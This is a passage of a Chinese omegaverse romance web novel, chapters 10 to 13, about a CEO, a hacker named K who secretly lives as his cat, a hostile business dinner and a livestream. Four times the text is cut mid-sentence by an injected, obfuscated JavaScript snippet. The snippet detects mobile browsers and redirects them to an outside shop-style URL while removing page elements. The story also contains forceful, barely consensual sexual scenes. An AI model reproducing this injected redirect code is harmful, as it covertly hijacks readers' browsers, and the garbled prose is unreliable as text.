蒋晗看着那个名为#蒋总私下居然是猫奴#的热搜词条,若有所思,而后又无所谓的耸了耸肩,对小猫自言自语了几句。 扒就扒了吧,无所谓掉不掉马,比起那些尔虞我诈的商战黑料,这种猫奴的人设,反而让他觉得轻松。 “煤球,看来你要红了。” 蒋晗揉了揉怀里小猫的脑袋,眼中满是宠溺。 “以后你就是我的网红猫了。” - 入夜,一场毫无预兆的寒潮席卷了A市,凄厉的风声拍打着别墅的落地窗,满城的梧桐叶还没来得及泛黄,就被冷雨打得七零八落。 夜里,蒋晗陡然醒来,只觉得浑身像被碾过一样酸痛,太阳穴突突直跳,喉咙干得像要冒烟。 他勉强睁开眼,视线模糊了好一阵才聚焦,一股寒意从骨头缝里往外渗,他伸手摸了摸自己的额头,果然,很烫。 怎么能在这种节骨眼上发烧呢,第一次对屋露偏逢连夜雨有了实质性的画面。 蒋晗咬咬牙,撑着身体起来,去客厅找了药就着水吃下,裹着毯子又靠在沙发里,打算坐下来缓一缓。 发烧出汗导致的虚脱乏力让他现在呼吸似乎都有点费劲,就这样倚在沙发里,浅浅睡了过去。 也不知过了多久,胸口传来一点微不足道的重量。 “喵呜……” 银白色的小猫不知何时跳了上来,小心翼翼的卧在他心口,试图用自己的身体给他传递一点暖意,它仰起小脸,冰蓝色的瞳孔里满是担忧,轻轻的叫了一声。 “煤球……” 蒋晗朦朦胧胧间醒了,喉咙里像是吞了炭火,声音嘶哑破碎,发烧和信息素衰竭症的影响让他意识都快要开始涣散,但他还是凭借本能,颤抖着伸出手,将那团小毛球拢进怀里。 “我没事……别怕……” 虚弱的男人烧得浑身滚烫却还在逞强,“已经吃过药了……睡一会就好了……没事……” “还好这几天……K没有说要来……” “要不然……被他看见我这幅狼狈样……又要怎么嘲讽我了……” 说完,蒋晗的手臂无力的滑落,彻底昏了过去。 怀里的小猫明显一顿,冰蓝色的兽瞳亮起幽光,透着一股令人毛骨悚然的冷意。 客厅里的空气骤然凝固,浅淡的白色光芒凝集,紧接着爆开一阵令人战栗的信息素波动。 白光散尽,银白色长发的男人居高临下看着沙发上面色惨白虚弱至极的人,那目光就像是兽王在审视自己濒死的猎物。 “真是个蠢货。” K俯下身,修长冰凉的手指毫不客气的掐住蒋晗滚烫的下巴,迫使他在昏迷中仰起头。 “都快烧成灰了,还在这死要面子。” “给我发个信息有这么难吗。” 长发的男人不满的啧了一声,眼底翻涌着某种阴郁的暴戾,却单膝跪下来,一手穿过蒋晗的膝窝,一手托住他后背,温柔的将人抱了起来,径直朝卧室走去。 将蒋晗放在柔软的大床上,K顺势躺过去从背后抱住他,将那个浑身滚烫的人温柔禁锢在怀里,贪婪的嗅着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265366|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方颈侧那因高烧而散发出的痛苦却甜美的信息素。 “你最好别死。”K贴着蒋晗滚烫的耳廓,声音阴冷低沉,像是恶魔的低语,“你死了,我去哪找这么合胃口的菜啊。” Enigma极具侵略的强大信息素瞬间铺开,源源不断的释放出来,包裹住怀里的人,一点点修补着这具破败的身体,直到筋疲力竭。 K微微轻喘着调整呼吸,他侧过身安静看着他,对方紊乱的信息素已趋于平稳。 “今天我先放了你……” 没有向这具因为病痛而更加虚弱的身体再做什么出格的事,也不想在人还昏着的时候挑逗他,K只是持续的释放着自己,过度的消耗已经让他疲惫不堪。 就这样面对面躺在一起,K看着眼前还睡着的人,抬手将他鬓边一缕发丝掖到耳后。 “下次你可要……”话没说完,就见蒋晗无意识的动了动身子,随即往前小幅度一扑,扎进了他的怀里。 还迷迷糊糊睡着的蒋晗此时就像只在冰天雪地里终于找到温暖巢穴的可怜小动物,埋头在对方怀里,抬手温柔将他抱住。 沉稳有力的心跳和让人安心的木质冷香,让蒋晗本能的往人怀里又蹭了蹭,手脚并用的将人缠上,头抵在对方宽厚结实的胸膛上,无意识的发出一声满足的喟叹。 这具身体第一次毫无防备本能的回应着他,致使K愣了好一会,才缓缓松动下来僵硬的身体,回抱着他,下巴轻轻抵着人的发顶,跟着一起安稳睡去。 这一觉两人都睡得很沉,窗外风雨飘摇,明明是冬季,屋内却温暖如春。 宽大的双人床上,两个平日里见面必掐针锋相对的人,此刻正以最亲密的姿势相拥而眠,甚至连呼吸的频率都慢慢重叠在了一起。 次日上午,阳光洒在被子上,蒋晗在柔软舒服的大床上醒来。 烧退了,身体虽然还有些虚弱,但那种彻骨的寒意已经消失,更让他惊讶的是,紊乱的信息素此刻也异常平稳,甚至比以往任何一次治疗后都要稳定。 是K来过吗? 蒋晗抬手下意识的摸了摸侧颈,腺体处完好无损,若是K来过,肯定不会放过自己,早就在他腺体上留下无数印记。 银白色的小猫此刻还蜷在枕边睡得正香,小肚子一起一伏。 蒋晗回忆了片刻,有些过于破碎的记忆实在无法拼成一个完整的图像,头有点疼,罢了。 手机在这时响起,是李森。 “蒋总,之前约好的,今晚兴泰集团邀请咱们和业界几家巨头的饭局,您看……要不要推掉?” 李森的声音小心翼翼:“这两天降温,您最近身体不好,那边又是出了名的难缠……” “不用。”蒋晗坐起身,揉了揉眉心,声音清冷淡漠:“时间地点发我。” 挂断电话,蒋晗深吸了一口气。 兴泰集团是几次暗地商业围剿中态度最暧昧的一家,是幕后推手之一。 即便知道是鸿门宴,但如果能争取过来兴泰,后面局势会立刻扭转,这个饭局,他必须去。 11. 第 11 章 金碧辉煌的宴会厅里,觥筹交错,衣香鬓影. 空气中混杂着各种信息素的味道,以及无论如何也掩盖不住令人作呕的权力和欲望发酵的臭味。 蒋晗穿着一身剪裁得体的深蓝色高定西装,脸色虽然还有些病后的苍白,但脊背挺得笔直,手中玻璃杯里盛着半杯威士忌,他站在角落里,尽量降低自己的存在感。 饭局进行一半,几个老狐狸轮番上阵,借着敬酒的名义步步紧逼,试图灌醉蒋晗,大概率是想看他出丑,想看他这种平日里高冷禁欲的总裁,当众能有多狼狈可笑。 “蒋总,这杯酒您要是再不喝,就是看不起我们几个老家伙了。” “听说蒋总前几天病了,年轻人,喝点酒发发汗就好了嘛!来来来!” 兴泰集团的老总王辉拿着酒杯,知道蒋晗不胜酒意,还是带着三四个人围了上来。 蒋晗胃部因为厌恶突然开始疯狂痉挛,那种被人群包围的窒息感让他手指不受控制的轻轻颤抖,还要拼命压制着这份极度抗拒社交带来的压迫。 “抱歉,王总。”蒋晗握紧了手中的高脚杯,指节泛白,声音维持着最后的冷淡,“我身体未愈,今天喝不了太多。” “哎!蒋总这就没意思了!”王辉脸上的横肉抖了抖,皮笑肉不笑,“大家都是场面人,这点面子都不给?来,给蒋总满上!” 蒋晗手里的玻璃杯被人到满,紧接着王辉和他碰了碰杯,率先仰头喝了。 “我都干了,该蒋总了。”王辉笑说:“蒋总之前不是问我城南那个项目吗,这样,你喝一杯,我让一个点,如何?” “别不好意思嘛,出来玩,开心点!来,要不我亲自喂蒋总喝!” 冷汗从背后渗出,周围一张张恶心虚伪的面孔和劣质信息素的气味让蒋晗一阵阵眩晕。 王辉伸手似乎是想要扳着他的下巴让他抬起头来,好把一杯酒都灌下去。 就在那只手即将碰到蒋晗的瞬间,一只骨节分明、修长有力的手横空截住了他。 手腕被人抓住,力道大得让王辉下意识一惊,手里的酒杯也掉在了地毯上,以蒋晗为中心的四周一圈瞬间死寂。 “哟,这么热闹?”银白色长发的男人松开了王辉的手腕,后者下意识向后退了几步,揉了揉被抓疼的手。 K今天穿了一身修身黑色西装,衬得他身形格外挺拔凌厉,冰蓝色的眼睛不经意的扫过全场,最后落在身旁的脸色不太好的蒋晗身上,嘴角勾起一个似笑非笑的弧度。 “抱歉,我来晚了。”K不羁一笑,当着所有人的面对蒋晗温柔开口,随后极其自然的揽住了他的腰,那姿态不像是在保护,更像是在宣示主权。 “我们蒋总胃不好,他的酒,我替了。”K说完,捞过酒台上的酒瓶给自己倒上,仰头一饮而尽。 辛辣的液体入喉,男人却连眉头都没皱一下,反而因为酒精的刺激,眼底某种隐匿压抑的情绪愈发浓烈。 Enigma无形的信息素如同海啸般席卷全场,所有人仿佛被定在了原地动弹不得,连他们自己也不太理解这种感觉是怎么回事,这种来自食物链顶端绝对的等级压制。 “你……你是谁?”王辉看着这位不知道从哪冒出来的长发男人,不知道为什么,哆嗦了一下,开口问道。 “我是蒋总的……朋友。”K顿了顿,笑着看了蒋晗一眼,随即揽着他走到一旁,按着他在沙发上坐下,“今晚蒋总的酒都由我来喝,各位若是觉得不够尽兴,我不介意再玩点更刺激的。” 那种从骨子里透出来的压迫感,让这群平日里作威作福的老油条瞬间噤声。 天穹科技本就是一个神秘的存在,集团里主要人物几乎不露面,全是中高层代表出现在公众视野,这些人更没见过天穹科技这位传说中的黑客,K。 这种要把人碾碎的眼神,他们看懂了,尤其是一向养尊处优高岭之花的蒋晗,被人搂着竟然也没有什么反应,像是默许了。 剩下的时间里,K一直陪在蒋晗身边,一边漫不经心的替他挡下所有不怀好意的试探和虚伪的敬酒,一边用那种看垃圾的眼神看着这些人,众人被他盯得如坐针毡。 蒋晗微微蹙眉看着帮他挡下所有明枪暗箭的男人,眼中情绪变得发杂起来。 那股他熟悉的木质冷香从四面八方包裹着他,仿佛将整晚令他恶心的味道全都隔绝在了一道无形的屏障之外。 这是第一次,在这种名利场,在这样的绝境里,有人挡在他面前。 不是为了利益,不是为了算计。 似乎仅仅是因为……他胃不好。 K游刃有余的帮他挡着酒,还不忘将他手里的威士忌换成了白开水。 谈笑间,就把一群老狐狸怼得哑口无言。 他懂商业,懂技术,更懂每个人背后的那点龌龊心思,每一杯酒下去,都逼得对方让出一点实打实的利益。 蒋晗站在他身后,静静看着男人的背影,心里某个地方感觉有些怪怪的,说不上来,很玄妙,又有点荒唐。 饭局结束时,兴泰集团原本暧昧的态度已经明朗,决定保持中立,不再参与围剿,王辉几乎是擦着汗送他们出去的。 黑色的迈巴赫在夜色中疾驰,车厢里却安静得有些诡异。 两人都坐在后排,K一手还搭在蒋晗腰间半搂着他,另一手握着他的手有一下没一下的摩挲着。 从上车到现在谁也没有说话,目光各自看着两侧车窗外不断退后闪过的霓虹,不知道在想些什么。 蒋晗不太能喝酒,K没来之前他已经一杯下去了。 现在酒精的后劲开始上涌,加上车内暖气吹着,使得他脸颊泛起一抹不正常的潮红。 关键是被对方这样搂在怀里,竟然也没反抗没出口怼他。 不知道K在想什么,蒋晗偏过头,默不作声的看着男人轮廓好看的侧脸。 那晚他帮自己摆脱了公司危机,后面自己说出狠话让他不要上自己的床。 他当时好像挺生气的? 他现在还在生气? 蒋晗转回头去看了会窗外,稍顷,又不动声色的转了回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265367|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽然明知道自己那晚说得有些过了,虽然知道他只是要为自己治疗,可…… 算了,他就是个混蛋! 就想借着治疗的由头行卑鄙之事满足他自己龌龊的思想! 但是…… 蒋晗感觉自己快要人格分裂了,脑海里一个天使小人和一个魔鬼小人正在疯狂对打。 车子停在别墅门口,特助李森从前排下来,给自己老板开车门的空档,另一边长发的男人已经自己下来了。 李森小心翼翼的送这俩人进了屋才离开,他什么也不敢说,什么也不敢问,知道这位K先生的来历和实力,还有他周围那种莫名其妙的压迫感,看见他冷不丁就会给自己吓出一身冷汗,更别说说几句话了。 “你去洗澡,还是直接开始?”K走进客厅坐在沙发里,很平静无所谓的说着,拍了拍自己身边的位置,示意蒋晗。 很明显,是要在沙发上进行信息素安抚。 K此时平静得不能再平静,正常的甚至有点诡异。 蒋晗一言难尽的看向他,稍顷,别别扭扭的收回目光,耳尖泛着薄红,转身朝楼上走去。 “我洗澡,你去卧室等我。” 沙发上俊美的男人挑了挑眉,站起身,不紧不慢的跟上去,走到蒋晗身边一把将他打横抱起朝楼上走去。 这次可不是他硬要来的,是应邀来的。 “干什么!放我下来!”突然被抱起,蒋晗下意识抬起单手搂着人肩膀,说得不卑不亢,反应倒是没多大,只挣了两下。 “你还病着,就敢出来喝酒,是嫌自己命长,还是嫌我救你救得太轻松?”K无所谓得说着,“我今天如果没来,你打算让那群老牲口灌死在酒桌上?” “你不是来了吗……”蒋晗红着耳朵咬牙愤恨反驳。 K被他气笑了,哼笑一声,不轻不重的踹开主卧房门,将人丢在床上。 蒋晗还没来得及起身,对方已经脱掉外套欺身而上。 K整个人压了下来,一手撑在蒋晗头侧,一手去解自己的衬衣扣子,声音里似乎还带着些微不可察的火气,开口说道: “平时对我不是挺能耐吗,怎么对外人就只会发抖?” “关你什么事……你拿钱……就好好办事……!”蒋晗想要推开他,却被K掐着手腕按在了头顶。 一听到钱,男人眼底染上更重的阴郁。 “蒋总今天生着病,又被那么多劣质信息素刺激,普通安抚显然不够,需要更深层次的……引导。” K俯身下来在他颈侧边嗅边沉声说着,热烈滚烫的气息喷洒在蒋晗细嫩肌肤上,带着淡淡的酒气和浓郁的木质冷香。 蒋晗浑身发软,侧颈的腺体开始突突跳动,那股熟悉的被掌控的失控感又来了。 “都说了……我要先……去洗澡……”蒋晗咬牙偏过头试图躲开,声音发颤。 “躲什么?心跳这么快,蒋总该不会没谈过恋爱吧?” 说着,K掐着他的下巴强行让他转回来看着自己,随后二话不说一把扯开了他的衬衣。 12. 第 12 章 银白色长发的男人一口一口咬在蒋晗细嫩白皙的脖颈上,锁骨上,直至紧致的小腹,最后又流连在蒋晗胸口那颗红痣上。 蒋晗像是被按了某个开关一样,身子猛地一颤,难掩一声带着情/欲的闷哼。 男人的眼神暗了暗,看着身下的人被自己欺负的眼角泛红,喘息不定,心里那股火越烧越旺。 我是他养的猫,我是顶级Enigma我现在就要办了他,两个念头在脑海里反复横跳疯狂撕扯。 蒋晗在对方可怕的掌控欲下喘息着,手指死死扣进对方肩背里,却依然咬牙压制着自己身体里那股想要彻底臣服的欲念。 【还没真正完成蜕变,人形不能长久维持……】 【你到底什么时候才能爆发出最纯净的Alpha信息素……】 【蒋晗……】 进行到一半变成猫才是真正的社会性死亡现场,绝对不能让这样的事发生! K深吸一口气,压下几乎失控的冲动,最终狠狠咬住了蒋晗侧颈处脆弱的腺体,犬齿刺破皮肤的瞬间,Enigma的信息素如同洪水猛兽般灌入。 这一次咬得极深,比任何一次都要凶狠,蒋晗止不住地颤抖喘息,眼角渗出生理性的泪水,一手本来死死抓着床单,却又忍不住抬手去抱住眼前的人。 似乎过了相当长一段时间,K终于停下,放开了他。 男人顺势平躺在床上,望着天花板轻轻喘息,过了好一会,才转身去将几乎虚脱的人搂进怀里,在他额头上蜻蜓点水一吻。 【我忍。】 蒋晗脱力到昏昏沉沉睡了过去也不知道,再醒来时,双人床上只剩他一人。 房间里只开了一盏昏黄的暗灯,床头桌上放了一杯白开水,身上的西装已经被换成了舒服的真丝睡衣,被子也好好的盖在自己身上。 空气中弥漫着浓烈的木质冷香,霸道的令人窒息。 蒋晗在床上瘫了好一会儿,偏头看了眼墙上的时钟,凌晨一点三十分。 缓了几秒,起身跌跌撞撞进了卫生间。 看字镜中自己,脖颈上,锁骨下,甚至腰间、下腹,全都是羞耻的红痕! 蒋晗眼角泛红,死死攥着拳头,像是受了天大的委屈又不能找人倾诉,狠狠咬牙进了淋浴间。 水流被开到最大,源源不断地冲刷着花洒下的人。 孱弱的身体丝毫不躲,仰起头逆水而上,想要把刚才那种失控感洗掉,想要把K留在他身上的痕迹全都洗掉。 可是不管冲刷多久,皮肤都开始泛红了也无济于事。 浴室门不知何时开了条缝,银白色小猫悄无声息的蹲在门口,冰蓝色的眼睛静静看着雾气中的男人近乎自虐的被热水一寸寸浇打。 【别洗了。】 【再洗就要破皮了,这个笨蛋……】 【你这么讨厌我吗。】 【总有一天你会知道我是谁。】 【该有多恨我啊……】 这一夜,蒋晗抱着猫睡得很沉。 直到后面几天,他都格外的黏着煤球,走到哪里都把小猫抱在怀里,好像也只有这样才能安抚到他被K欺负过后脆弱的心灵。 初冬季节,天气渐渐冷了下来。 蒋晗穿着宽松的羊绒衫蜷在客厅沙发里,腿上盖着薄毯,怀里抱着煤球,面前摊着几份文件,但他没什么心思看,指尖有一搭没一搭的梳理着小猫银白色的绒毛。 煤球似乎格外喜欢这种天气,总是贴着他,用自己温暖的体温驱散他骨子里透出的寒意。 蒋晗飘忽的思绪被两声不轻不重的敲门声打断,紧接着管家的声音自门外传来。 “蒋总,今早刚到的燕窝,我让后厨炖好给您送来了。” 蒋晗用远程遥控器开了门,管家端着刚炖好的燕窝,脸上挂着得体谦卑的笑走了进来。 看着这位自他父母辈起在蒋家待了近二十年的老管家,蒋晗淡然收回目光,随口一应:“谢谢,放下吧。” 老管家将托盘放在茶几上,目光却似有若无地扫过蒋晗怀里的猫,收回目光时又落回蒋晗不经意露在领口外的一小块肌肤上,上面全是刺目的红痕…… 蒋晗瞥了他一眼,不动声色的拉高了家居服领口,淡淡开口:“还有事?” 老管家笑容可掬,“您最近气色看着好了不少。” 蒋晗端起白瓷盏,冷冷应了一声:“嗯。” “那就好。”老管家站在原地没走,脸上还挂着机械的笑容,又开口道:“那位K先生最近似乎总是来找您。” 蒋晗:“工作上的事。” “这位K先生来路不明行踪诡秘,行事作风也有些乖张,蒋副董特意嘱咐过,让您多留个心眼,别被人抓了把柄,或者是被什么不干不净的人带坏了身子,毕竟您年轻,被人拿捏……” “陈叔。”蒋晗放下瓷盏发出一声碰撞声打断了老管家的话,“您在我家工作多久了?” “蒋总,有,十九年了……”老管家一怔。 “十九年。”蒋晗重复了一遍,声音没什么起伏,“那应该很清楚,我最讨厌两件事。” “一是别人过问我的私事,二是有人无故替我操心。” 他特意家中了“无故”二字。 客厅里的空气骤然冷了几分,老管家脸色微变,额角渗出细汗,却还是强笑道: “蒋总您误会了,我也是担心您,毕竟那位K先生,怎么看都不像普通人,倒像是……” 管家顿了顿,“倒像是专门冲着您来的。” 蒋晗搁在膝上的手指微微蜷缩了下,他感到一阵反胃,不是生理上的,而是对这种无孔不入的试探和算计的本能厌恶,心里一阵阵发紧,身上的温度也冷了下来。 叔父的手伸得比他想的还要长,将近二十年的老管家,究竟是什么时候起被渗透的,蒋晗感觉一阵阵心凉。 一道白色闪电突然横插到了二人之间。 客厅里,空气仿佛凝固,那团原本正趴在蒋晗腿上睡觉的小东西突然跃下,稳稳的落在了二人之间。 它一步一步缓缓走到蒋晗身前,姿态优雅却暗藏杀机,冰蓝色的兽瞳一刻不错地死死钉在老管家身上。 老管家被这目光盯得心头莫名一紧,肉眼可见的僵在了原地。 不知道是不是他的错觉,他甚至在一只猫的眼睛里看到了近乎暴戾的肃杀之意,说不上为什么,他就这样被这目光死死钉在了原地动弹不得,像被一头洪荒巨兽死死锁住了咽喉。 一股无形的毛骨悚然感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265368|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兜头罩下,属于Enigma的信息素在极度愤怒时产生的精神震慑,无声无息却无孔不入。 没人能知道这是什么,亦没人能将其撼动。 冷汗瞬间浸透了老管家的后背,他张了张嘴,却连半个音节都发不出来,源自基因深处的恐惧让他双腿发软,几乎想要跪下求饶。 【杂碎,再用那种眼神看他,我挖了你的眼睛。】 老管家脸色惨白,额头的汗终于滚落,他狼狈的低下头,硬生生别开目光不敢再看那只猫,更不敢看沙发上面无表情的蒋晗。 “那蒋总……我,我先去忙了……有什么需要您随时叫我……”说完,仓皇转身逃离了客厅。 脚步声远去,蒋晗的目光落在挡在自己身前这团小小身躯上,轻轻叹了口气,心里酸涩又柔软,随即弯下腰,朝小猫伸出手。 “煤球,过来。” 小猫已经收起威慑姿态,扭头看了蒋晗一眼,冰蓝色眼里的戾气几近消散,转身跳回沙发时,就又彻底变回了那团柔软无害的小毛球,乖巧的蹭了蹭主人的手心。 “十九年啊,煤球……他在我家待了十九年,竟然也……” “你会背叛我吗?” “你一定不会背叛我的,只有你最心疼我了,小煤球。”蒋晗抱起小猫,把脸埋在它毛茸茸的小脑袋上,闷闷的说着。 “背叛我的人不计其数,”蒋晗轻声说:“集团里的中层、高层,董事会那些人,叔父,还有,K……他们都是在利用我,想要从我这里得到什么,想看我出丑,想看我摔倒,最好摔得粉身碎骨,好分食我的血肉。” “没有人会真正对我好。” “我只能靠自己。” “小煤球……” 我在人间,好似炼狱。 银白色小猫抬起脑袋,小心的伸出舌头,有些心虚的在蒋晗下巴上舔了舔,默不作声的趴在人怀里又闭上了眼睛。 - 最近这阵子,“总裁的续命小黑炭直播”tag的热搜猝不及防登顶各大平台。 这个账号最近火得不像话,今晚确定直播的消息一传出,直接引爆互联网。 或许是因为那张M9和牛喂猫的照片实在太具冲击力,又或许是网友们透过那些只言片语,窥探到了这位高冷总裁私底下不为人知的柔软一面。 短短几天,蒋晗的这个萌宠账号粉丝数以一种恐怖的速度飙升,评论区里每天都有几万人嗷嗷待哺,刷屏求直播,主要是想看直播看猫。 “蒋总,公关部那边建议您可以适当回应一下粉丝的热情。”李森在电话里建议道,“现在的舆论风向对我们很有利,大家都在磕您的反差萌,这比花几千万做公关还有效。” 蒋晗看着怀里正睡得四仰八叉的煤球,鬼使神差的答应了,并表示,只拍猫,不露脸。 就这样,直播定在当晚八点。 蒋晗处理完最后一份文件,揉了揉酸涩的眉心,窗外夜色已深,怀里的小猫睡得正熟,他想了想,随即调整好手机角度,确保只露出自己抱着猫的手臂,腿和书房一角,然后点开了直播。 标题简单的四个字:煤球睡觉。 几乎是瞬间,观众涌入的速度让蒋晗都愣了一下,紧跟着铺天盖地的弹幕炸开! 13. 第 13 章 【来了来了!】 【前排!!】 【是蒋总的手!我死了这手太好看了!】 【煤球大人今天依旧貌美如花!就连睡觉都这么典雅……】 【煤球大人睡颜鲨我!】 【背景是书房吗?好多书!那个摆件是不是古董?】 【蒋总今天不说话吗?求求了说句话吧!】 【想听声音!】 【想听声音+10086】 蒋晗看着飞速滚动的弹幕,微不可查的勾了下嘴角,他伸出食指,轻轻点了点小猫粉嫩的鼻尖,小猫在睡梦中不满的皱了皱鼻子,把头更深地埋进他的臂弯,弹幕瞬间又是一片【awsl……!!!!】的哀嚎。 小猫在蒋晗第一次抓它小耳朵的时候就已经醒了,蒋晗抓着它的两只小手冲镜头摆了摆,淡淡开口: “煤球,打个招呼。” 煤球抬起脑袋看了眼架着的手机屏幕,百无聊赖的又低下头舔了舔爪子,从蒋晗腿上跳了下去,转身走掉,消失在了镜头外。 倒是蒋晗清冷如玉石的声音传出,带着一丝不易察觉的温柔,直播间静默了一瞬,随即彻底炸了。 【啊啊啊啊!!!这就是传说中价值千亿的声音吗!】 【救命!!耳朵怀孕了!!!】 【这手!这骨节分明的手!我要魂穿那只猫!】 【煤球好乖啊!那双蓝眼睛太漂亮了!】 【煤球去哪了别走呀!是去吃和牛了吗?能给我留一口吗?】 蒋晗饶有兴趣的看了会弹幕,在线人数直线飙升,很快就突破了一百万。 也正是气氛一片祥和时,一些不和谐的弹幕混了进来,开始有意无意的带节奏刷屏。 那些文字还特意用了高光颜色,又亮又刺眼,言辞恶毒。 【这就是那个病秧子总裁?连个脸都不敢露,是不是病得快死了?】 【听说蒋氏集团快不行了,总裁还有闲心在这玩猫?不务正业!】 【这猫看着好凶,一脸凶相,果然什么人养什么猫,博主是不是有狂躁症啊?】 【这种身体状况还能管理公司?我看蒋氏迟早要完!】 【只有我觉得这猫眼神很邪门吗?像要吃人一样。】 这些弹幕刷新的频率极高,很快就把正常粉丝的言论压了下去,原本和谐的直播间瞬间变得乌烟瘴气,不明真相的路人也被带偏了,开始质疑蒋晗的身体状况和精神状态。 蒋晗看着屏幕,脸上的那点温和渐渐褪去。 他不在乎那些针对他的诋毁,这些年骂他的人太多了,他要是每个都往心里去,早猝死了。 但这些恶毒的词汇突然对准煤球,诅咒他的猫邪门,凶相…… 镜头之外,蒋晗的脸色沉得能拧出水来,他挽到小臂的衬衫袖子下,手臂线条紧紧绷着,指尖用力扣在桌沿,怒意窜上心头,几乎能听到自己血液冲上太阳穴的嗡鸣。 他的猫,他在这冰冷世界唯一毫无保留的温暖慰藉,是这些不敢上得台面的蛆虫随便侮辱的?! 蒋晗冷着脸,负面情绪上来时很难做出冷静的判断,甚至没有心思去细想这些人是怎么突然出现故意来找茬的。 正准备直接关掉直播,屏幕上却突然被一连串炫目至极的深蓝色深水鱼雷特效刷屏…… 一个,十个,三十个……到后来,整整一百个! 绚烂的特效几乎淹没了整个屏幕,持续了将近五分钟! 五分钟过后,又是一百个嘉年华…… …… 所有恶意弹幕被这土豪至极的打赏砸得无影无踪,连渣渣都不剩。 全网观众都惊呆了,谁见过这场面啊,一说深水鱼雷和嘉年华不按个数刷,按分钟刷…… 这是哪来的土豪?手滑了吗? 特效散去,众人才在直播间看清了榜一大哥的ID,一个简单利落的字母---K。 以及一条系统自带的,不仔细看甚至就会错过的普通字体留言: 【猫随主人,都很漂亮。】 直播间再次陷入了刹那的死寂,迎来的是彻底的沸腾! 【卧槽?K????】 【?是我知道的那个K吗????】 【天穹科技那个从不露面的神秘黑客大佬K神??】 【天穹科技……和蒋氏集团不是死对头吗?】 【一百个深水鱼雷外加一百个嘉年华……这他妈得多少钱???K神你被盗号了???】 【死对头空降直播间狂刷礼物还夸漂亮???这什么剧情???新型商战?】 【K神不是从不出面吗,这么说来,他们私下见过???】 【awsl……对不起蒋总但我真的磕到了!!!(破音)】 【我嗅到了不对劲的气息!!!】 【猫随主人,都很漂亮……细品,你们细品!!!!!磕到了!!!】 【这对邪教CP我先磕为敬!】 客房的卫生间里,K靠在洗手台上,银发随意垂落,修长的手指在手机上轻敲,嘴角勾起一抹玩味又阴鸷的笑。 他看着屏幕上那些疯狂磕CP的弹幕,心情莫名有些愉悦。 笑话,赶在我的直播间撒野造次?还敢说我的人?我看你们一个个都活够了! 蒋晗整个人僵在屏幕前,耳朵尖以肉眼可见的速度漫上一层薄红。 他盯着那个稳坐榜一嚣张的一个“K”字,和那句意有所指的“猫随主人,都很漂亮”,心情复杂到了极点。 方才那些因为恶意带节奏惹得内心深处那股怒意,倒是被这荒谬得救场冲击得七零八落,取而代之的是一种微妙得失序和慌乱。 最终直播在一片狂欢中结束,蒋晗几乎是立刻抓起手机,找到那个几乎没怎么主动联系过的联系人,指尖用力的戳着屏幕发了条微信过去,还是前天才刚刚加上的微信。 蒋晗:【你什么意思?】 K:【什么什么意思?】 对方回复得很快,仿佛一直在等着。 蒋晗:【你刷那么多礼物干什么,钱多没地方花?】 K:【路过,顺手。怎么着你猫的直播间我不能看?】 蒋晗:【你总盯着我的猫干什么?】 【你难不成是对我的猫有想法?】 【难不成堂堂K先生这也要和我来抢?】 发完之后,蒋晗觉得脸颊有些发烫,这种质问显得有些底气不足,甚至带着点欲盖弥彰的意味,偏偏对方这个时候不再回话了。 K的对话框上方一直显示“对方正在输入中……”,似乎那边的人删删减减了好多次。 客卧私密的卫生间内,银白色长发的男人垂眸看着手机,也确实是删删减减了好几次,最后终于发出一声无奈的嗤笑,收起手机一个字也没回,转身出了卫生间。 实在是懒得跟他解释。 门板一开一关,银白色小猫无声无息闪出了客卧。 【我对猫能有什么想法,幼稚。】 【我对谁有想法你看不出来吗。】 【嘁……】 煤球不知道什么时候回到了书房里,正迈着优雅的步子走过来。 蒋晗俯身抱起它,似乎还在气着,语气带了点不满,“煤球,你去哪了?刚才你没看见,那个K刚才在我直播间捣乱,你是没看见那架势,唯恐天下不乱。” 小猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265369|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趴在男人怀里,冰蓝色的眼睛微微眯起,听着对方撒娇一样的抱怨,尾巴尖轻轻扫过他的手腕。 